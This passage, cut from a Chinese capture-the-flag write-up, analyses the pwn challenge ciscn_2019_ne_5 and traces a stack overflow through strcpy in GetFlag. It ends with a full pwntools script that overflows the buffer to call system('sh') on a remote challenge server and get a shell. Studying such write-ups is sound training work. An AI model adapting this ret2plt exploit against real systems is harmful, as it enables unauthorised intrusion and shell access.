字节，可以破坏栈布局，但是也不能用它构造 ROP Chain，因为`AddLog` 是返回读取到的字节数，返回后又是一轮循环。 ```c del={4} int __cdecl AddLog(int a1) { printf("Please input new log info:"); return __isoc99_scanf("%128s", a1); } ``` `Display` 可以泄漏栈内容，或许有用，先放一边。 `Print` 里面调用了一个 `system`，说明我们可以直接用 `system@plt` 调用这个函数。 `GetFlag` 将我们输入 buffer 的内容直接复制到 `dest`，由于这个 `dest` 是局部数组 ，只有 4 字节空间，`strcpy` 没有安全检查，我们可以利用这一点篡改 `GetFlag` 栈帧 的返回地址为 ROP Chain. ```c del={8} int __cdecl GetFlag(char *src) { char dest[4]; // [esp+0h] [ebp-48h] BYREF _BYTE v3[60]; // [esp+4h] [ebp-44h] BYREF *(_DWORD *)dest = 48; memset(v3, 0, sizeof(v3)); strcpy(dest, src); return printf("The flag is your log:%sn", dest); } ``` ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, fit, process, raw_input, remote, ) FILE = "./ciscn_2019_ne_5" HOST, PORT = "node5.buuoj.cn", 27219 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target def main(): target = launch() target.sendlineafter(b"password:", b"administrator") payload = fit( { 0x4C: elf.plt["system"], 0x50: elf.plt["exit"], 0x54: next(elf.search(b"sh")), } ) # raw_input("DEBUG") target.sendlineafter(b"Exit", str(1).encode()) target.sendlineafter(b"info:", payload) target.sendlineafter(b"Exit", str(4).encode()) target.interactive() if __name__ == "__main__": main() ```
